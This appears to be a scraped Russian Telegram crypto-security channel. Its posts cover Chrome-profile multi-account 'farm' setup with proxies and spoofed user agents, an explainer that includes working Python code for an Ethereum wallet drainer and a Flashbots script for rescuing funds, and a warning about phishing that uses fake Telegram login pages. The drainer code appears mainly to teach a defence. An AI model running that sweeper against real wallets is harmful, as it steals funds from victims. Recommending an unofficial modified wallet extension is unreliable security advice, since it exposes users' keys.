🔸Безопасность в интернете в сферах web 2.0,и web 3.0
🔸Крипто безопасность, фермы, способы обезопасить себя от рисков потерять свои средства.
🔸Утилиты и софт
🔸Новости и новинки в мире безопасности
🔸Статьи и мануалы по безопасности
🔸 ...
Please open Telegram to view this post
VIEW IN TELEGRAM
Несколько дней тому назад (25.01.2025г.) взломали ADS Power. Инфо шума по этому поводу было много и в каждой группе кто то потерял свои средства. Этот момент еще раз говорит о базовой подготовке, и о ваших способностях, чтобы противостоять хакеру или не быть скомпрометированным.
🔝Создаем Google Farm взамен AdsPower и другим антикам.
Повышаем свою безопасность и настраиваемся на работу через google chrome profiles.
©️Весь ликбез был взят с канала автора Darvin Notes | Meow DAO, за что ему огромное спасибо.
Информация была дополнена и добавлена на канал.
1️⃣ Скачиваем официальный google chrome - https://www.google.com/intl/ru_ru/chrome
❗️при скачивании убираем галку с надписи - отправка автоматической статистики - отправлять мы ее не будем.
2️⃣ Устанавливаем Google Chrome и создаем профили: жмем на иконку человечка справа и в выпадающем меню снизу выбираем - добавить профиль
❗️ Когда высветится окно, выбираем - продолжить без входа в аккаунт
3️⃣ Создаем необходимое количество профилей.
В настройках каждого из профилей выполняем настройки:
в адресной строке пишем:
◽️
и отключаем ползунок с - Разрешить вход в Chrome
◽️
◽️ менеджер паролей - удаляем если есть сохраненные ранее пароли
◽️
и убираем ползунок с - Автоматический вход
◽️
◽️
◽️
4️⃣ Скачиваем модифицированный Rabby Wallet от Darvin,
🫡 через него нельзя угнать сид фразу или приватный ключ.
Скачиваем и Распаковываем файл с Github dist.zip
В Google Chrome, в необходимом нам профиле, пишем:
◽️
Выбираем сверху слева - Загрузить распакованное расширение и выбираем распакованное ранее в папку расширение с модифицированным Rabby Wallet от Darvin (version - Rabby Wallet 0.92.58)
#Ферма
• Канал CryptoHooligans • Чат
Повышаем свою безопасность и настраиваемся на работу через google chrome profiles.
©️Весь ликбез был взят с канала автора Darvin Notes | Meow DAO, за что ему огромное спасибо.
Информация была дополнена и добавлена на канал.
❗️при скачивании убираем галку с надписи - отправка автоматической статистики - отправлять мы ее не будем.
❗️ Когда высветится окно, выбираем - продолжить без входа в аккаунт
В настройках каждого из профилей выполняем настройки:
в адресной строке пишем:
chrome://settings/syncSetupи отключаем ползунок с - Разрешить вход в Chrome
chrome://settings/manageProfile - можно создать ярлык на раб столchrome://password-manager/settings - убираем ползунок с - Предлагать сохранение паролей и ключей доступа и убираем ползунок с - Автоматический вход
chrome://settings/onStartup - Запуск Chrome - Выбираем - ранее открытые вкладки.chrome://settings/content/automaticDownloads - Ставим запрет на автоматическое скачиваниеchrome://settings/downloads - Включаем опцию "всегда спрашивать куда сохранять файл"🫡 через него нельзя угнать сид фразу или приватный ключ.
Скачиваем и Распаковываем файл с Github dist.zip
В Google Chrome, в необходимом нам профиле, пишем:
chrome://extensions - включаем сверху справа ползунок - режим разработчика.Выбираем сверху слева - Загрузить распакованное расширение и выбираем распакованное ранее в папку расширение с модифицированным Rabby Wallet от Darvin (version - Rabby Wallet 0.92.58)
#Ферма
• Канал CryptoHooligans • Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
Продолжаем настройку Google Farm Profiles:
5️⃣ Создаем новый кошелек:
На соседнем устройстве скачиваем Rabby wallet официальная ссылка - rabby.io
Ждем пока установиться расширение.
❗️Отключаем физически интернет ❗️
Выбираем создание нового кошелька и записываем SEED фразу в бумажный блокнот.
❗️ Не включая интернет входим в rabby Wallet и копируем PrivateKey на флешку.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
❕ Для очистки буфера есть специальные утилиты - Clear Clipboard, GuardBuferCleaner, ClipTTL
🔹Удаляем расширение Rabby Wallet и включаем интернет для дальнейших действий.
На ПК, где установлен модифицированный Rabby Wallet -
❗️физически отключаем интернет ❗️
Запускаем Rabby Wallet и выбираем войти по Приватному ключу -
Запросит установку пароля на вход - устанавливаем сложный и надежный пароль со спец символами, большими и маленькими буквами, от 10 символов и больше. С флешки копируем Private key в модифицированный Rabby Wallet.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Проверяем, что кошелек подгрузился. Включаем интернет.
6️⃣ Устанавливаем дополнения:
♦️UPD - Более не доступен в Google play market -Proxy SwitchyOmega - для того чтобы прописать свой Proxy: https://chromewebstore.google.com/detail/proxy-switcyomega/padekgcemlokbadohgkifijomclgjgif
После установки пропускаем гайд по настройке, закрепляем расширение. Переходим из главного меню в пункт Profiles\Proxy и вбиваем данные прокси, логин и пароль спрятаны за пиктограммой замка.
Переходим из главного меню во вкладку Interface и выбираем Startup Profile\Proxy Переходим из главного меню во вкладку General и отключаем первую галку - Show count of failed web requests for resources in the current tab.
Устанавливаем Proxy-Cheap Proxy Manager
Проверяем прокси - Закрываем браузер и снова запускаем его - Открываем ресурс - https://2ip.ru / whatismyipaddress.com и сравниваем полученный IP с нашим IP из прокси (должны быть идентичны)
а также можно проверить - если расширение горит синим цветом - значит прокси работает.
7️⃣ Подмена железа:
♦️User-Agent профиля - скачиваем расширение - Random User-Agent (Switcher).
#Ферма
• Канал CryptoHooligans • Чат
На соседнем устройстве скачиваем Rabby wallet официальная ссылка - rabby.io
Ждем пока установиться расширение.
❗️Отключаем физически интернет ❗️
Выбираем создание нового кошелька и записываем SEED фразу в бумажный блокнот.
❗️ Не включая интернет входим в rabby Wallet и копируем PrivateKey на флешку.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
🔹Удаляем расширение Rabby Wallet и включаем интернет для дальнейших действий.
На ПК, где установлен модифицированный Rabby Wallet -
❗️физически отключаем интернет ❗️
Запускаем Rabby Wallet и выбираем войти по Приватному ключу -
Запросит установку пароля на вход - устанавливаем сложный и надежный пароль со спец символами, большими и маленькими буквами, от 10 символов и больше. С флешки копируем Private key в модифицированный Rabby Wallet.
🔹Запускаем командную строку CMD для очистки буфера обмена: в Cmd пишем команду - echo off | clip либо cmd/c echo off | clip
Проверяем, что кошелек подгрузился. Включаем интернет.
♦️UPD - Более не доступен в Google play market -
После установки пропускаем гайд по настройке, закрепляем расширение. Переходим из главного меню в пункт Profiles\Proxy и вбиваем данные прокси, логин и пароль спрятаны за пиктограммой замка.
Переходим из главного меню во вкладку Interface и выбираем Startup Profile\Proxy Переходим из главного меню во вкладку General и отключаем первую галку - Show count of failed web requests for resources in the current tab.
Устанавливаем Proxy-Cheap Proxy Manager
Проверяем прокси - Закрываем браузер и снова запускаем его - Открываем ресурс - https://2ip.ru / whatismyipaddress.com и сравниваем полученный IP с нашим IP из прокси (должны быть идентичны)
а также можно проверить - если расширение горит синим цветом - значит прокси работает.
♦️User-Agent профиля - скачиваем расширение - Random User-Agent (Switcher).
#Ферма
• Канал CryptoHooligans • Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Автор статьи канал cppmyk.inc.
В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.
Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.
Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения.
В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.
Все примеры будут разобраны на блокчейне Ethereum.
Код на GitHub: link.
Дрейнер (drainer/sweeper) — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы.
В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее.
Алгоритм.
Начнем с алгоритма:
Следим за появлением нового блока.
Проверяем баланс кошелька жертвы.
Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.
Переходим к пункту 1.
Реализация:
import time
from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
ETH_CHAIN_ID: int = 1
COMPROMISED_KEY: str = "private_key"
HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address('address')
TRANSFER_GAS_LIMIT: int = 21000
w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
def sweep() -> None:
gas_price: Wei = w3.eth.gas_price
account_balance: Wei = w3.eth.get_balance(compromised.address)
if account_balance < gas_price * TRANSFER_GAS_LIMIT:
return
transaction: TxParams = {
'chainId': ETH_CHAIN_ID,
'from': compromised.address,
'to': HACKER_ADDRESS,
'value': account_balance - (gas_price * TRANSFER_GAS_LIMIT),
'nonce': w3.eth.get_transaction_count(compromised.address),
'gas': TRANSFER_GAS_LIMIT,
'gasPrice': gas_price
}
signed: SignedTransaction = compromised.sign_transaction(transaction)
tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Sweep transaction: {tx_hash.hex()}')
def main() -> None:
block_filter = w3.eth.filter('latest')
interval = 1
while True:
for block_hash in block_filter.get_new_entries():
block = w3.eth.getBlock(block_hash)
print(f"New Block: {block.number}")
sweep()
time.sleep(interval)
Please open Telegram to view this post
VIEW IN TELEGRAM
if name == 'main':
main()
Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.
Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.
3️⃣ Спасаем средства:
Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.
Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.
Приватные пулы.
Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?
При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).
Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.
Тут на помощь приходят приватные пулы, дающие следующие возможности:
Отправка транзакции в обход публичного мемпула.
Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).
Идея работы приватных пулов:
Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
Builder создает самый оптимальный блок из доступных транзакций.
Builder отправляет блок в Relay.
Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
Relay отправляет блок Validator-у.
Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
Validator создает блок (если сейчас его очередь).
Схематически это выглядит примерно так: 1 и 2
Алгоритм.
Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.
Введем следующие обозначения:
Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
Compromised — кошелек, который был взломан хакером и контролируется дрейнером.
Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:
Формируем бандл:
Депозит ETH для покрытия комиссии с кошелька Rescuer.
Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
Отправляем бандл билдеру.
Ждем включения в блок.
Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.
Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.
main()
Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.
Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.
Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.
Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.
Приватные пулы.
Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?
При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).
Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.
Тут на помощь приходят приватные пулы, дающие следующие возможности:
Отправка транзакции в обход публичного мемпула.
Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).
Идея работы приватных пулов:
Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
Builder создает самый оптимальный блок из доступных транзакций.
Builder отправляет блок в Relay.
Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
Relay отправляет блок Validator-у.
Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
Validator создает блок (если сейчас его очередь).
Схематически это выглядит примерно так: 1 и 2
Алгоритм.
Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.
Введем следующие обозначения:
Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
Compromised — кошелек, который был взломан хакером и контролируется дрейнером.
Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:
Формируем бандл:
Депозит ETH для покрытия комиссии с кошелька Rescuer.
Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
Отправляем бандл билдеру.
Ждем включения в блок.
Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.
Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Реализация.
from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei
from erc20_abi import ERC20_ABI
RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""
ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000
WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')
rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)
w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)
def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)
tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
{
'from': sender_address,
'gas': WETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce
}
)
return tx
def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
tx: TxParams = {
'to': destination_address,
'value': amount,
'gas': ETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': ETH_CHAIN_ID
}
return tx
def main():
print(f'Rescuer address: {rescuer.address}')
print(f'Compromised address: {compromised.address}')
print('-' * 100)
gas_price: Wei = w3.eth.gas_price
eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)
rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)
compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)
bundle = [
{'signed_transaction': deposit_tx_signed.rawTransaction},
{'signed_transaction': weth_transfer_tx_signed.rawTransaction},
]
while True:
block: BlockNumber = w3.eth.block_number
print(f'Simulating on block {block}')
try:
w3.flashbots.simulate(bundle, block)
print('Simulation successful.')
print()
except Exception as e:
print("Simulation error", e)
print(f"Sending bundle targeting block {block + 1}")
send_result = w3.flashbots.send_bundle(
bundle,
target_block_number=block + 1
)
print("bundleHash", w3.toHex(send_result.bundle_hash()))
stats_v2 = w3.flashbots.get_bundle_stats_v2(
w3.toHex(send_result.bundle_hash()), block
)
print("bundleStats v2", stats_v2)
try:
receipts = send_result.receipts()
print(f"Bundle was mined in block {receipts[0].blockNumber}")
break
except TransactionNotFound:
print(f"Bundle not found in block {block + 1}")
print('-' * 100)
print('Finished')
from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei
from erc20_abi import ERC20_ABI
RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""
ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000
WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')
rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)
w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)
def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)
tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
{
'from': sender_address,
'gas': WETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce
}
)
return tx
def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
tx: TxParams = {
'to': destination_address,
'value': amount,
'gas': ETH_TRANSFER_GAS_LIMIT,
'gasPrice': gas_price,
'nonce': nonce,
'chainId': ETH_CHAIN_ID
}
return tx
def main():
print(f'Rescuer address: {rescuer.address}')
print(f'Compromised address: {compromised.address}')
print('-' * 100)
gas_price: Wei = w3.eth.gas_price
eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)
rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)
compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)
bundle = [
{'signed_transaction': deposit_tx_signed.rawTransaction},
{'signed_transaction': weth_transfer_tx_signed.rawTransaction},
]
while True:
block: BlockNumber = w3.eth.block_number
print(f'Simulating on block {block}')
try:
w3.flashbots.simulate(bundle, block)
print('Simulation successful.')
print()
except Exception as e:
print("Simulation error", e)
print(f"Sending bundle targeting block {block + 1}")
send_result = w3.flashbots.send_bundle(
bundle,
target_block_number=block + 1
)
print("bundleHash", w3.toHex(send_result.bundle_hash()))
stats_v2 = w3.flashbots.get_bundle_stats_v2(
w3.toHex(send_result.bundle_hash()), block
)
print("bundleStats v2", stats_v2)
try:
receipts = send_result.receipts()
print(f"Bundle was mined in block {receipts[0].blockNumber}")
break
except TransactionNotFound:
print(f"Bundle not found in block {block + 1}")
print('-' * 100)
print('Finished')
👍1
if name == "main":
main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.
Результат работы:
Что ж, проверим на практике.
Подождав некоторое время, бандл был включен в блок 19924093.
Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.
Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.
#Антидрейнер
• Канал CryptoHooligans • Чат
main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.
Результат работы:
Что ж, проверим на практике.
Подождав некоторое время, бандл был включен в блок 19924093.
Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.
Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.
#Антидрейнер
• Канал CryptoHooligans • Чат
Forwarded from Новости Кошелька
Мы запускаем рубрику #безопасность, где будем разбирать популярные схемы мошенничества. Цель рубрики — помочь вам защитить свои данные и избежать неприятностей
Начнём с простого: представьте, что вам написал знакомый с просьбой проголосовать за него в каком-нибудь конкурсе. К сообщению заботливо прикреплена ссылка, перейдя по которой можно оставить свой голос. Нажав на неё, вас перебросит на экран авторизации Telegram, где предложат ввести свои данные: номер телефона, код авторизации и ваш облачный пароль (вы же его установили, верно?). Кажется, что всё в порядке?
Не совсем. Сделав это, вы предоставите доступ к своему Telegram аккаунту мошенникам. Проголосовать, разумеется, не выйдет — скорее всего, вас просто перебросит обратно в диалог с жуликом
Как это работает? Мошенники создают поддельный интерфейс мессенджера, который выглядит как настоящий. Как только вы введёте в нём свои данные, они сразу окажутся в руках мошенника.
Что происходит дальше?
Мошенники не всегда действуют сразу. Они незаметно просматривают ваши чаты в поисках конфиденциальной информации — паролей (которые вы, возможно, храните в «Избранном»), личных сообщений и других чувствительных данных. Эти сведения могут быть использованы для доступа к вашим аккаунтам в социальных сетях или финансовых приложениях. Найдя необходимое, мошенник просто «выбросит» вас из аккаунта и начнёт отправлять вашим контактам те же сообщения, которые получили вы. Именно так и попался ваш знакомый и именно так мошенники распространяют эту схему
Как от этого защититься?
● Никогда не вводите данные от своего Telegram нигде, кроме официальных приложений.
● Если вам предлагают ввести ваши данные на каком-то сайте — стоит немедленно его покинуть (особенно, если вы уже залогинены в Telegram).
● Не храните пароли в «Избранном». Это небезопасно.
Следуя этим правилам вы значительно снизите риск попасть в ловушку. Берегите себя
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
